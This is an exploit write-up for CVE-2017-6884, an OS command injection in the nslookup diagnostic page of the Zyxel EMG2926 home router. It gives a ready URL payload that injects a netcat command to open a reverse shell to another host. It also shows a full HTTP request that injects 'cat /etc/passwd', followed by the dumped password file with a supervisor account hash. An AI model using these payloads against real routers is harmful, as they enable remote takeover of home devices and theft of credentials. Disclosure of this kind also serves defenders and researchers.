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# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection # Date: 2017-04-02 # Exploit Author: Fluffy Huffy (trevor Hough) # Vendor Homepage: www.zyxel.com # Version: EMG2926 - V1.00(AAQT.4)b8 # Tested on: linux # CVE : CVE-2017-6884 OS command injection vulnerability was discovered in a commonly used home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools specify the nslookup function. A malicious user may exploit numerous vectors to execute arbitrary commands on the router. Exploit (Reverse Shell) https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button& ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p Exploit (Dump Password File) Request GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1 Host: 192.168.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup Accept-Language: en-US,en;q=0.8 Cookie: csd=9; sysauth=<Clipped> Connection: close Response (Clipped) <textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash admin:$1$<Clipped>:0:0:admin:/:/bin/fail |
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